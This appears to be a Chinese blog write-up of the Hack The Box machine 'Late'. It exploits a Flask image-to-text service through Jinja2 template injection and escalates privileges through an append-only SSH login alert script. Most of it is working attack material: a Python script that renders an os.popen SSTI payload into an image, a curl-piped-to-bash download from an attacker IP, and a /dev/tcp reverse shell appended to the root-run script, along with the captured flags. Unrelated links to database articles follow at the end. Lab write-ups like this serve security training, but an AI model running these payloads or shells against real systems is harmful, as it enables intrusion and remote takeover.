[Meachines] [Easy] Late Image to text(Flask)SSTI+lsattr+ssh登入预警权限提升

Information Gathering

IP Address Opening Ports
10.10.11.156 TCP:22,80

$ ip='10.10.11.156'; itf='tun0'; if nmap -Pn -sn "$ip" | grep -q "Host is up"; then echo -e "\e[32m[+] Target $ip is up, scanning ports...\e[0m"; ports=$(sudo masscan -p1-65535,U:1-65535 "$ip" --rate=1000 -e "$itf" | awk '/open/ {print $4}' | cut -d '/' -f1 | sort -n | tr '\n' ',' | sed 's/,$//'); if [ -n "$ports" ]; then echo -e "\e[34m[+] Open ports found on $ip: $ports\e[0m"; nmap -Pn -sV -sC -p "$ports" "$ip"; else echo -e "\e[31m[!] No open ports found on $ip.\e[0m"; fi; else echo -e "\e[31m[!] Target $ip is unreachable, network is down.\e[0m"; fi

bash 复制代码
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 025e290ea3af4e729da4fe0dcb5d8307 (RSA)
|   256 41e1fe03a5c797c4d51677f3410ce9fb (ECDSA)
|_  256 28394698171e461a1ea1ab3b9a577048 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-title: Late - Best online image tools
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Image to text with Flask SSTI

# echo '10.10.11.156 late.htb images.late.htb'>>/etc/hosts

http://images.late.htb/

https://onlinetexttools.com/convert-text-to-image

上传SSTI载荷

python 复制代码
from PIL import Image, ImageDraw, ImageFont
import sys

def main():
    if len(sys.argv) < 2:
        print('Usage: {} <cmd>'.format(sys.argv[0]))
        exit()
    
    img = Image.new('RGB', (2000, 100), color=(0, 0, 0))
    draw = ImageDraw.Draw(img)
    
    try:
        myFont = ImageFont.truetype('LiberationMono-Regular.ttf', 15)
    except IOError:
        print("Font file not found. Using default font.")
        myFont = ImageFont.load_default()
    
    payload = """{{{{
self._TemplateReference__context.namespace.__init__.__globals__.os.popen(
\"{cmd}\").read()
}}}}""".format(cmd=sys.argv[1])
    
    draw.text((0, 3), payload, fill=(255, 255, 255), font=myFont)
    img.save('payload.png')
    print("Payload image saved as 'payload.png'")

if __name__ == '__main__':
    main()

$ python3 exp.py 'curl http://10.10.16.33/reverse.sh|bash'

User.txt

97957f521c7524ab8c7d89ab95ef262f

Privilege Escalation:lsattr && ssh login alert

/usr/local/sbin/ssh-alert.sh

这个 ssh-alert.sh 脚本是一个 SSH 登录警报,用于检测 SSH 登录事件并向管理员发送邮件通知。它通常与 PAM (Pluggable Authentication Modules) 结合使用,以便在每次成功的 SSH 登录时自动触发。

查看 ssh-alert.sh 文件的扩展属性

$ lsattr /usr/local/sbin/ssh-alert.sh

只能追加:该文件只能在已有内容的基础上追加

$ echo '/bin/sh -i >& /dev/tcp/10.10.16.33/443 0>&1'>>/usr/local/sbin/ssh-alert.sh

$ ssh svc_acc@10.10.11.156 -i ./id_rsa

Root.txt

3ab5d906b2aa753ace8296d4f46c67f6

相关推荐
Linux-palpitate13 小时前
PostgreSQL(PG)的1主2从集群部署安装
数据库·postgresql
heartbeat..14 小时前
数据库基础知识体系:概念、约束、范式与国产产品
java·数据库·学习笔记·国产数据库
山峰哥14 小时前
数据库工程核心:SQL调优让查询效率飙升的实战密码
网络·汇编·数据库·sql·编辑器
Coder_Boy_15 小时前
基于SpringAI的在线考试系统-DDD业务领域模块设计思路
java·数据库·人工智能·spring boot·ddd
小雪_Snow15 小时前
Windows 安装 MySQL 8.0 教程【安装包方式】
数据库·mysql
无敌的牛15 小时前
MySQL初阶
数据库·mysql
不会C++的雾16 小时前
Linux操作系统(2)
linux·数据库·mysql
java_python源码16 小时前
springboot+vue智慧小区管理系统(源码+文档+调试+基础修改+答疑)
数据库·oracle
一个天蝎座 白勺 程序猿16 小时前
KingbaseES存储管理深度解析:控制文件全生命周期管理与重做日志管理
数据库·存储管理·kingbasees·金仓数据库
冉冰学姐17 小时前
SSM学生竞赛模拟系统4x1nt(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面
数据库·用户管理·ssm 框架·学生竞赛模拟系统